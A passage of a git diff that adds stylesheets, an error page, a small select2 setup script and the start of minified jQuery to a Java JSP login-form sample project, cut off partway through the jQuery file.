.nav-collapse .nav .nav-header { + color: #777777; + } + .navbar-googlebar .nav-collapse .nav > li > a, + .navbar-googlebar .nav-collapse .dropdown-menu a { + color: #777777; + } + .navbar-googlebar .nav-collapse .nav > li > a:hover, + .navbar-googlebar .nav-collapse .dropdown-menu a:hover { + background-color: #f1f1f1; + } + .navbar-googlebar .nav-collapse .navbar-form, + .navbar-googlebar .nav-collapse .navbar-search { + border-top: 1px solid #f1f1f1; + border-bottom: 1px solid #f1f1f1; + } + .navbar-googlebar.navbar-inverse .nav-collapse .nav > .active > a { + color: #ffffff; + background-color: #444444; + } + .navbar-googlebar.navbar-inverse .nav-collapse .nav > li > a, + .navbar-googlebar.navbar-inverse .nav-collapse .dropdown-menu a { + color: #ffffff; + } + .navbar-googlebar.navbar-inverse .nav-collapse .nav > li > a:hover, + .navbar-googlebar.navbar-inverse .nav-collapse .dropdown-menu a:hover { + background-color: #444444; + } + .navbar-googlebar.navbar-inverse .nav-collapse .navbar-form, + .navbar-googlebar.navbar-inverse .nav-collapse .navbar-search { + border-top-color: #444444; + border-bottom-color: #444444; + } + .navbar-googlenav.navbar-fixed-top .navbar-inner, + .navbar-googlenav.navbar-fixed-bottom .navbar-inner { + padding: 0; + } + .navbar-googlenav .nav-collapse .nav > .active > a:before { + display: none; + } + .navbar-googlenav .nav-collapse .nav > .active > a:after { + display: none; + } + .navbar-googlenav .nav-collapse .nav .nav-header { + color: #777777; + } + .navbar-googlenav .nav-collapse .nav > li > a, + .navbar-googlenav .nav-collapse .dropdown-menu a { + color: #777777; + } + .navbar-googlenav .nav-collapse .nav > li > a:hover, + .navbar-googlenav .nav-collapse .dropdown-menu a:hover { + background-color: #ffffff; + } + .navbar-googlenav .nav-collapse .navbar-form, + .navbar-googlenav .nav-collapse .navbar-search { + border-top: 1px solid #ffffff; + border-bottom: 1px solid #ffffff; + } + .navbar-googlenav.navbar-inverse .nav-collapse .nav > .active > a, + .navbar-googlenav.navbar-inverse .nav-collapse .nav > .active > a:hover { + color: #ffffff; + background-color: #555555; + } + .navbar-googlenav.navbar-inverse .nav-collapse .nav > li > a, + .navbar-googlenav.navbar-inverse .nav-collapse .dropdown-menu a { + color: #ffffff; + } + .navbar-googlenav.navbar-inverse .nav-collapse .nav > li > a:hover, + .navbar-googlenav.navbar-inverse .nav-collapse .dropdown-menu a:hover { + background-color: #444444; + } + .navbar-googlenav.navbar-inverse .nav-collapse .navbar-form, + .navbar-googlenav.navbar-inverse .nav-collapse .navbar-search { + border-top-color: #444444; + border-bottom-color: #444444; + } +} diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/css/vendor/todc-select2.css b/Java/UsingSQL/JSPLoginForm/src/main/webapp/css/vendor/todc-select2.css new file mode 100644 index 000000000..77373cec6 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/css/vendor/todc-select2.css @@ -0,0 +1,591 @@ +/* +Version: 3.2 Timestamp: Mon Sep 10 10:38:04 PDT 2012 +*/ +.select2-container { + position: relative; + display: inline-block; + /* inline-block for ie7 */ + zoom: 1; + *display: inline; + vertical-align: top; +} + +.select2-container, +.select2-drop, +.select2-search, +.select2-search input{ + /* + Force border-box so that % widths fit the parent + container without overlap because of margin/padding. + + More Info : http://www.quirksmode.org/css/box.html + */ + -moz-box-sizing: border-box; /* firefox */ + -ms-box-sizing: border-box; /* ie */ + -webkit-box-sizing: border-box; /* webkit */ + -khtml-box-sizing: border-box; /* konqueror */ + box-sizing: border-box; /* css3 */ +} + +.select2-container .select2-choice { + display: block; /* ? */ + overflow: hidden; + text-decoration: none; + + padding: 4px 12px; + margin: 0; + color: #333; + text-shadow: 0 1px 0 #fff; + white-space: nowrap; + font-family: Arial, Helvetica, sans-serif; + font-weight: bold; + font-size: 13px; + cursor: default; + height: 18px; + background-color: #f3f3f3; + background-image: -moz-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -o-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: linear-gradient(to bottom, #f5f5f5, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#fff1f1f1', GradientType=0); + -webkit-background-clip: padding; + -moz-background-clip: padding; + background-clip: padding; + border: 1px solid #dcdcdc; + -webkit-border-radius: 2px; + -moz-border-radius: 2px; + border-radius: 2px; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; +} +.select2-container .select2-choice:hover { + color: #333; + text-shadow: none; + border-color: #c6c6c6; + background-color: #f5f5f5; + background-image: -moz-linear-gradient(top, #f8f8f8, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f8f8f8), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f8f8f8, #f1f1f1); + background-image: -o-linear-gradient(top, #f8f8f8, #f1f1f1); + background-image: linear-gradient(to bottom, #f8f8f8, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff8f8f8', endColorstr='#fff1f1f1', GradientType=0); + -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1); + -moz-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1); + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1); + background-position: 0 0; + -webkit-transition: none; + -moz-transition: none; + -o-transition: none; + transition: none; + z-index: 2; +} +.select2-container-active .select2-choice:hover { + border: 1px solid #4D90FE; +} + +.select2-container.select2-drop-above .select2-choice +{ + background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #eeeeee), color-stop(0.9, white)); + background-image: -webkit-linear-gradient(center bottom, #eeeeee 0%, white 90%); + background-image: -moz-linear-gradient(center bottom, #eeeeee 0%, white 90%); + background-image: -o-linear-gradient(bottom, #eeeeee 0%, white 90%); + background-image: -ms-linear-gradient(top, #eeeeee 0%,#ffffff 90%); + filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#eeeeee', endColorstr='#ffffff',GradientType=0 ); + background-image: linear-gradient(top, #eeeeee 0%,#ffffff 90%); +} + +.select2-container .select2-choice span { + margin-right: 26px; + display: block; + overflow: hidden; + white-space: nowrap; + -o-text-overflow: ellipsis; + -ms-text-overflow: ellipsis; + text-overflow: ellipsis; +} + +.select2-container .select2-choice abbr { + display: block; + position: absolute; + right: 26px; + top: 8px; + width: 12px; + height: 12px; + + font-size: 17px; + line-height: 16px; + color: #595959; + font-weight: 700; + + cursor: pointer; + text-decoration: none; + border:0; + outline: 0; +} +.select2-container .select2-choice abbr:hover { + color: #222; + cursor: pointer; +} + +.select2-drop-mask { + position: absolute; + left: 0; + top: 0; + z-index: 9998; + opacity: 0; +} + +.select2-drop { + background: #fff; + color: #000; + border: 1px solid #aaa; + position: absolute; + top: 100%; + -webkit-box-shadow: 0 2px 4px rgba(0, 0, 0, .2); + -moz-box-shadow: 0 2px 4px rgba(0, 0, 0, .2); + -o-box-shadow: 0 2px 4px rgba(0, 0, 0, .2); + box-shadow: 0 2px 4px rgba(0, 0, 0, .2); + z-index: 9999; + width:100%; + margin-top:1px; +} + +.select2-drop.select2-drop-above { + margin-top: -1px; + + -webkit-box-shadow: 0 -2px 4px rgba(0, 0, 0, .2); + -moz-box-shadow: 0 -2px 4px rgba(0, 0, 0, .2); + -o-box-shadow: 0 -2px 4px rgba(0, 0, 0, .2); + box-shadow: 0 -2px 4px rgba(0, 0, 0, .2); +} + +.select2-container .select2-choice div { + -webkit-border-radius: 0 2px 2px 0; + -moz-border-radius: 0 2px 2px 0; + border-radius: 0 2px 2px 0; + -moz-background-clip: padding; + -webkit-background-clip: padding-box; + background-clip: padding-box; + position: absolute; + right: 0; + top: 0; + display: block; + height: 100%; + width: 18px; +} + +.select2-container .select2-choice div b { + background: url('../../img/vendor/select2.png') no-repeat -30px 2px; + display: block; + width: 100%; + height: 100%; +} + +.select2-search { + display: inline-block; + white-space: nowrap; + z-index: 10000; + min-height: 26px; + width: 100%; + margin: 0; + padding: 4px 4px 0 4px; +} + +.select2-search-hidden { + display: block; + position: absolute; + left: -10000px; +} + +.select2-search input { + background: #fff url('../../img/vendor/select2.png') no-repeat 100% -22px; + background: url('../../img/vendor/select2.png') no-repeat 100% -22px, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, white), color-stop(0.99, #eeeeee)); + background: url('../../img/vendor/select2.png') no-repeat 100% -22px, -webkit-linear-gradient(center bottom, white 85%, #eeeeee 99%); + background: url('../../img/vendor/select2.png') no-repeat 100% -22px, -moz-linear-gradient(center bottom, white 85%, #eeeeee 99%); + background: url('../../img/vendor/select2.png') no-repeat 100% -22px, -o-linear-gradient(bottom, white 85%, #eeeeee 99%); + background: url('../../img/vendor/select2.png') no-repeat 100% -22px, -ms-linear-gradient(top, #ffffff 85%, #eeeeee 99%); + background: url('../../img/vendor/select2.png') no-repeat 100% -22px, linear-gradient(top, #ffffff 85%, #eeeeee 99%); + padding: 4px 20px 4px 5px; + outline: 0; + border: 1px solid #aaa; + font-family: sans-serif; + font-size: 1em; + width:100%; + margin:0; + height:auto !important; + min-height: 26px; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + border-radius: 0; + -moz-border-radius: 0; + -webkit-border-radius: 0; +} + +.select2-drop.select2-drop-above .select2-search input +{ + margin-top:4px; +} + +.select2-search input.select2-active { + background: #fff url('../../img/vendor/spinner.gif') no-repeat 100%; + background: url('../../img/vendor/spinner.gif') no-repeat 100%, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, white), color-stop(0.99, #eeeeee)); + background: url('../../img/vendor/spinner.gif') no-repeat 100%, -webkit-linear-gradient(center bottom, white 85%, #eeeeee 99%); + background: url('../../img/vendor/spinner.gif') no-repeat 100%, -moz-linear-gradient(center bottom, white 85%, #eeeeee 99%); + background: url('../../img/vendor/spinner.gif') no-repeat 100%, -o-linear-gradient(bottom, white 85%, #eeeeee 99%); + background: url('../../img/vendor/spinner.gif') no-repeat 100%, -ms-linear-gradient(top, #ffffff 85%, #eeeeee 99%); + background: url('../../img/vendor/spinner.gif') no-repeat 100%, linear-gradient(top, #ffffff 85%, #eeeeee 99%); +} + + +.select2-container-active .select2-choice, +.select2-container-active .select2-choices { + border: 1px solid #4D90FE; + outline: none; +} + +.select2-dropdown-open .select2-choice, +.select2-dropdown-open .select2-choice:hover { +/* + border: 1px solid #aaa; + border-bottom-color: transparent; + -webkit-border-bottom-left-radius : 0; + -webkit-border-bottom-right-radius: 0; + -moz-border-radius-bottomleft : 0; + -moz-border-radius-bottomright: 0; + border-bottom-left-radius : 0; + border-bottom-right-radius: 0; +*/ + background-color: #f4f4f4; + background-image: -moz-linear-gradient(top, #f6f6f6, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f6f6f6), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f6f6f6, #f1f1f1); + background-image: -o-linear-gradient(top, #f6f6f6, #f1f1f1); + background-image: linear-gradient(to bottom, #f6f6f6, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff6f6f6', endColorstr='#fff1f1f1', GradientType=0); + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); +} + +.select2-dropdown-open .select2-choice div { + background: transparent; + border-left: none; +} +.select2-dropdown-open .select2-choice div b { + +} + +/* results */ +.select2-results { + margin: 4px 1px 4px 0; + padding: 0; + position: relative; + overflow-x: hidden; + overflow-y: auto; + max-height: 200px; +} + +.select2-results ul.select2-result-sub { + margin: 0 0 0 0; +} + +.select2-results ul.select2-result-sub > li .select2-result-label { padding-left: 20px } +.select2-results ul.select2-result-sub ul.select2-result-sub > li .select2-result-label { padding-left: 40px } +.select2-results ul.select2-result-sub ul.select2-result-sub ul.select2-result-sub > li .select2-result-label { padding-left: 60px } +.select2-results ul.select2-result-sub ul.select2-result-sub ul.select2-result-sub ul.select2-result-sub > li .select2-result-label { padding-left: 80px } +.select2-results ul.select2-result-sub ul.select2-result-sub ul.select2-result-sub ul.select2-result-sub ul.select2-result-sub > li .select2-result-label { padding-left: 100px } +.select2-results ul.select2-result-sub ul.select2-result-sub ul.select2-result-sub ul.select2-result-sub ul.select2-result-sub ul.select2-result-sub > li .select2-result-label { padding-left: 110px } +.select2-results ul.select2-result-sub ul.select2-result-sub ul.select2-result-sub ul.select2-result-sub ul.select2-result-sub ul.select2-result-sub ul.select2-result-sub > li .select2-result-label { padding-left: 120px } + +.select2-results li { + list-style: none; + display: list-item; +} + +.select2-results li.select2-result-with-children > .select2-result-label { + font-weight: bold; +} + +.select2-results .select2-result-label { + padding: 3px 7px 4px; + margin: 0; + cursor: pointer; +} + +.select2-results .select2-highlighted { + background: #eee; + /*color: #fff;*/ +} +.select2-results li em { + background: #feffde; + font-style: normal; +} +.select2-results .select2-highlighted em { + background: transparent; +} +.select2-results .select2-no-results, +.select2-results .select2-searching, +.select2-results .select2-selection-limit { + background: #f4f4f4; + display: list-item; + padding-left: 4px; +} + +/* +disabled look for already selected choices in the results dropdown +.select2-results .select2-disabled.select2-highlighted { + color: #666; + background: #f4f4f4; + display: list-item; + cursor: default; +} +.select2-results .select2-disabled { + background: #f4f4f4; + display: list-item; + cursor: default; +} +*/ +.select2-results .select2-disabled { + display: none; +} + +.select2-more-results.select2-active { + background: #f4f4f4 url('../../img/vendor/spinner.gif') no-repeat 100%; +} + +.select2-more-results { + background: #f4f4f4; + display: list-item; +} + +/* disabled styles */ + +.select2-container.select2-container-disabled .select2-choice { + color: #b3b3b3; + border-color: #d9d9d9; + background-color: #e6e6e6; + background-image: none; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + text-shadow: none; + cursor: default; +} + +.select2-container.select2-container-disabled .select2-choice div { + opacity: 0.5; + filter:alpha(opacity=50); +} + + +/* multiselect */ + +.select2-container-multi .select2-choices { + background-color: #fff; + border: 1px solid #d9d9d9; + border-top: 1px solid #c0c0c0; + -webkit-border-radius: 1px; + -moz-border-radius: 1px; + border-radius: 1px; + + margin: 0; + padding: 0; + cursor: text; + overflow: hidden; + height: auto !important; + height: 1%; + position: relative; +} +.select2-container-multi .select2-choices:hover { + border: 1px solid #b9b9b9; + border-top: 1px solid #a0a0a0; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); +} + +.select2-container-multi .select2-choices { + min-height: 26px; +} + +.select2-container-multi.select2-container-active .select2-choices { + border: 1px solid #4D90FE; + outline: none; +} +.select2-container-multi .select2-choices li { + float: left; + list-style: none; +} +.select2-container-multi .select2-choices .select2-search-field { + white-space: nowrap; + margin: 0; + padding: 0; +} + +.select2-container-multi .select2-choices .select2-search-field input { + color: #666; + background: transparent !important; + font-family: sans-serif; + font-size: 100%; + height: 15px; + padding: 5px; + margin: 1px 0; + outline: 0; + border: 0; + -webkit-box-shadow: none; + -moz-box-shadow : none; + -o-box-shadow : none; + box-shadow : none; +} + +.select2-container-multi .select2-choices .select2-search-field input.select2-active { + background: #fff url('../../img/vendor/spinner.gif') no-repeat 100% !important; +} + +.select2-default { + color: #999 !important; +} + +.select2-container-multi .select2-choices .select2-search-choice { + -webkit-border-radius: 2px; + -moz-border-radius : 2px; + border-radius : 2px; + -moz-background-clip : padding; + -webkit-background-clip: padding-box; + background-clip : padding-box; + background-color: #DAE4F6; + color: #222; + font-family: Arial; + border: 1px solid #DAE4F6; + line-height: 23px; + padding: 0 19px 0 5px; + margin: 1px; + position: relative; + cursor: default; +} +.select2-container-multi .select2-choices .select2-search-choice span { + cursor: default; +} +.select2-container-multi .select2-choices .select2-search-choice-focus { + background: #A6D7F5; +} + +.select2-search-choice-close { + display: block; + position: absolute; + right: 3px; + top: 4px; + width: 12px; + height: 13px; + font-size: 17px; + line-height: 16px; + color: #444; + font-weight: 700; + outline: none; +} +.select2-search-choice-close:hover { + text-decoration: none; + color: #222; + cursor: pointer; +} + +/* disabled styles */ + +.select2-container-multi.select2-container-disabled .select2-choices{ + background-color: #f4f4f4; + background-image: none; + border: 1px solid #ddd; + cursor: default; +} + +.select2-container-multi.select2-container-disabled .select2-choices .select2-search-choice { + background-image: none; + background-color: #f4f4f4; + border: 1px solid #ddd; + padding: 3px 5px 3px 5px; +} + +.select2-container-multi.select2-container-disabled .select2-choices .select2-search-choice .select2-search-choice-close { + display: none; +} +/* end multiselect */ + +.select2-result-selectable .select2-match, +.select2-result-unselectable .select2-result-selectable .select2-match { font-weight: bold; /*text-decoration: underline;*/ } +.select2-result-unselectable .select2-match { text-decoration: none; } + +.select2-offscreen { position: absolute; left: -10000px; } + + +/** Scrollbars */ +.select2-results::-webkit-scrollbar { + height: 16px; + width: 10px; +} +.select2-results::-webkit-scrollbar-button:start:decrement, +.select2-results::-webkit-scrollbar-button:end:increment { + background-color: transparent; + display: block; + height: 0; +} +.select2-results::-webkit-scrollbar-track { + background-clip: padding-box; + border: solid + transparent; + border-width: 0 0 0 4px; +} +.select2-results::-webkit-scrollbar-track-piece { + background-color: transparent; + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +.select2-results::-webkit-scrollbar:hover { + background-color: #f3f3f3; + border: 1px solid #dbdbdb; +} +.select2-results::-webkit-scrollbar-thumb:vertical, +.select2-results::-webkit-scrollbar-thumb:horizontal { + background-color: #c6c6c6; + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +.select2-results::-webkit-scrollbar-thumb { + background-color: rgba(0, 0, 0, 0.2); + border: solid transparent; + border-width: 0; + -webkit-box-shadow: inset 1px 1px 0 rgba(0,0,0,0.10),inset 0 -1px 0 rgba(0,0,0,0.07); + -moz-box-shadow: inset 1px 1px 0 rgba(0,0,0,0.10),inset 0 -1px 0 rgba(0,0,0,0.07); + box-shadow: inset 1px 1px 0 rgba(0,0,0,0.10),inset 0 -1px 0 rgba(0,0,0,0.07); + background-clip: padding-box; +} +.select2-results::-webkit-scrollbar-thumb:hover { + background-color: #949494; +} +.select2-results::-webkit-scrollbar-thumb:active { + background-color: rgba(0, 0, 0, 0.5); + -webkit-box-shadow: inset 1px 1px 3px rgba(0, 0, 0, 0.35); + -moz-box-shadow: inset 1px 1px 3px rgba(0, 0, 0, 0.35); + box-shadow: inset 1px 1px 3px rgba(0, 0, 0, 0.35); +} + + +/* Retina-ize icons */ + +@media only screen and (-webkit-min-device-pixel-ratio: 1.5) { + .select2-search input, .select2-container .select2-choice div b { + background-image: url(../../img/vendor/select2x2.png) !important; + background-repeat: no-repeat !important; + background-size: 60px 40px !important; + } + .select2-search input { + background-position: 100% -21px !important; + } +} diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/error.jsp b/Java/UsingSQL/JSPLoginForm/src/main/webapp/error.jsp new file mode 100644 index 000000000..a7942a2db --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/error.jsp @@ -0,0 +1,29 @@ +<%@ page language="java" isErrorPage="true" %> +<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %> +<%@ taglib uri="http://java.sun.com/jsp/jstl/fmt" prefix="fmt" %> + + + + + + <fmt:message key="errorPage.title"/> + + + +
    +
    +
    +

    + <%@ include file="/common/messages.jsp" %> + <% if (exception != null) { %> +
    <% exception.printStackTrace(new java.io.PrintWriter(out)); %>
    + <% } else if (request.getAttribute("javax.servlet.error.exception") != null) { %> +
    <% ((Exception)request.getAttribute("javax.servlet.error.exception"))
    +                          .printStackTrace(new java.io.PrintWriter(out)); %>
    + <% } %> +
    +
    +
    + + \ No newline at end of file diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/img/vendor/checkmark.png b/Java/UsingSQL/JSPLoginForm/src/main/webapp/img/vendor/checkmark.png new file mode 100644 index 000000000..7af1470ff Binary files /dev/null and b/Java/UsingSQL/JSPLoginForm/src/main/webapp/img/vendor/checkmark.png differ diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/img/vendor/select2.png b/Java/UsingSQL/JSPLoginForm/src/main/webapp/img/vendor/select2.png new file mode 100644 index 000000000..1fe376e2c Binary files /dev/null and b/Java/UsingSQL/JSPLoginForm/src/main/webapp/img/vendor/select2.png differ diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/img/vendor/select2x2.png b/Java/UsingSQL/JSPLoginForm/src/main/webapp/img/vendor/select2x2.png new file mode 100644 index 000000000..377f59b09 Binary files /dev/null and b/Java/UsingSQL/JSPLoginForm/src/main/webapp/img/vendor/select2x2.png differ diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/img/vendor/spinner.gif b/Java/UsingSQL/JSPLoginForm/src/main/webapp/img/vendor/spinner.gif new file mode 100644 index 000000000..5b33f7e54 Binary files /dev/null and b/Java/UsingSQL/JSPLoginForm/src/main/webapp/img/vendor/spinner.gif differ diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/index.html b/Java/UsingSQL/JSPLoginForm/src/main/webapp/index.html new file mode 100644 index 000000000..c38169bb9 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/index.html @@ -0,0 +1,5 @@ + + +

    Hello World!

    + + diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/js/app/app.js b/Java/UsingSQL/JSPLoginForm/src/main/webapp/js/app/app.js new file mode 100644 index 000000000..5fb6c109c --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/js/app/app.js @@ -0,0 +1,13 @@ +$(document).ready(function() { + // render select objects using todc-select2 + $("select").select2({ + placeholder: "Select...", + containerCssClass: "span8", + minimumResultsForSearch: 10 + }); + + // correctly reset select2 object values + $("form").on('reset', function() { + $(this).find("select").val("").trigger("change"); + }); +}); \ No newline at end of file diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/js/vendor/jquery-1.9.1-min.js b/Java/UsingSQL/JSPLoginForm/src/main/webapp/js/vendor/jquery-1.9.1-min.js new file mode 100644 index 000000000..006e95310 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/js/vendor/jquery-1.9.1-min.js @@ -0,0 +1,5 @@ +/*! jQuery v1.9.1 | (c) 2005, 2012 jQuery Foundation, Inc. | jquery.org/license +//@ sourceMappingURL=jquery.min.map +*/(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,b=function(e,t){return new b.fn.init(e,t,r)},x=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,w=/\S+/g,T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,N=/^(?:(<[\w\W]+>)[^>]*|#([\w-]*))$/,C=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,k=/^[\],:{}\s]*$/,E=/(?:^|:|,)(?:\s*\[)+/g,S=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"|true|false|null|-?(?:\d+\.|)\d+(?:[eE][+-]?\d+|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener||"load"===e.type||"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H))};b.fn=b.prototype={jquery:p,constructor:b,init:function(e,n,r){var i,a;if(!e)return this;if("string"==typeof e){if(i="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:N.exec(e),!i||!i[1]&&n)return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e);if(i[1]){if(n=n instanceof b?n[0]:n,b.merge(this,b.parseHTML(i[1],n&&n.nodeType?n.ownerDocument||n:o,!0)),C.test(i[1])&&b.isPlainObject(n))for(i in n)b.isFunction(this[i])?this[i](n[i]):this.attr(i,n[i]);return this}if(a=o.getElementById(i[2]),a&&a.parentNode){if(a.id!==i[2])return r.find(e);this.length=1,this[0]=a}return this.context=o,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):b.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),b.makeArray(e,this))},selector:"",length:0,size:function(){return this.length},toArray:function(){return h.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length+e]:this[e]},pushStack:function(e){var t=b.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return b.each(this,e,t)},ready:function(e){return b.ready.promise().done(e),this},slice:function(){return this.pushStack(h.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(b.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:d,sort:[].sort,splice:[].splice},b.fn.init.prototype=b.fn,b.extend=b.fn.extend=function(){var e,n,r,i,o,a,s=arguments[0]||{},u=1,l=arguments.length,c=!1;for("boolean"==typeof s&&(c=s,s=arguments[1]||{},u=2),"object"==typeof s||b.isFunction(s)||(s={}),l===u&&(s=this,--u);l>u;u++)if(null!=(o=arguments[u]))for(i in o)e=s[i],r=o[i],s!==r&&(c&&r&&(b.isPlainObject(r)||(n=b.isArray(r)))?(n?(n=!1,a=e&&b.isArray(e)?e:[]):a=e&&b.isPlainObject(e)?e:{},s[i]=b.extend(c,a,r)):r!==t&&(s[i]=r));return s},b.extend({noConflict:function(t){return e.$===b&&(e.$=u),t&&e.jQuery===b&&(e.jQuery=s),b},isReady:!1,readyWait:1,holdReady:function(e){e?b.readyWait++:b.ready(!0)},ready:function(e){if(e===!0?!--b.readyWait:!b.isReady){if(!o.body)return setTimeout(b.ready);b.isReady=!0,e!==!0&&--b.readyWait>0||(n.resolveWith(o,[b]),b.fn.trigger&&b(o).trigger("ready").off("ready"))}},isFunction:function(e){return"function"===b.type(e)},isArray:Array.isArray||function(e){return"array"===b.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[m.call(e)]||"object":typeof e},isPlainObject:function(e){if(!e||"object"!==b.type(e)||e.nodeType||b.isWindow(e))return!1;try{if(e.constructor&&!y.call(e,"constructor")&&!y.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}var r;for(r in e);return r===t||y.call(e,r)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||"string"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||o;var r=C.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=b.buildFragment([e],t,i),i&&b(i).remove(),b.merge([],r.childNodes))},parseJSON:function(n){return e.JSON&&e.JSON.parse?e.JSON.parse(n):null===n?n:"string"==typeof n&&(n=b.trim(n),n&&k.test(n.replace(S,"@").replace(A,"]").replace(E,"")))?Function("return "+n)():(b.error("Invalid JSON: "+n),t)},parseXML:function(n){var r,i;if(!n||"string"!=typeof n)return null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(o){r=t}return r&&r.documentElement&&!r.getElementsByTagName("parsererror").length||b.error("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&b.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(j,"ms-").replace(D,L)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,a=M(e);if(n){if(a){for(;o>i;i++)if(r=t.apply(e[i],n),r===!1)break}else for(i in e)if(r=t.apply(e[i],n),r===!1)break}else if(a){for(;o>i;i++)if(r=t.call(e[i],i,e[i]),r===!1)break}else for(i in e)if(r=t.call(e[i],i,e[i]),r===!1)break;return e},trim:v&&!v.call("\ufeff\u00a0")?function(e){return null==e?"":v.call(e)}:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(M(Object(e))?b.merge(n,"string"==typeof e?[e]:e):d.call(n,e)),n},inArray:function(e,t,n){var r;if(t){if(g)return g.call(t,e,n);for(r=t.length,n=n?0>n?Math.max(0,r+n):n:0;r>n;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,n){var r=n.length,i=e.length,o=0;if("number"==typeof r)for(;r>o;o++)e[i++]=n[o];else while(n[o]!==t)e[i++]=n[o++];return e.length=i,e},grep:function(e,t,n){var r,i=[],o=0,a=e.length;for(n=!!n;a>o;o++)r=!!t(e[o],o),n!==r&&i.push(e[o]);return i},map:function(e,t,n){var r,i=0,o=e.length,a=M(e),s=[];if(a)for(;o>i;i++)r=t(e[i],i,n),null!=r&&(s[s.length]=r);else for(i in e)r=t(e[i],i,n),null!=r&&(s[s.length]=r);return f.apply([],s)},guid:1,proxy:function(e,n){var r,i,o;return"string"==typeof 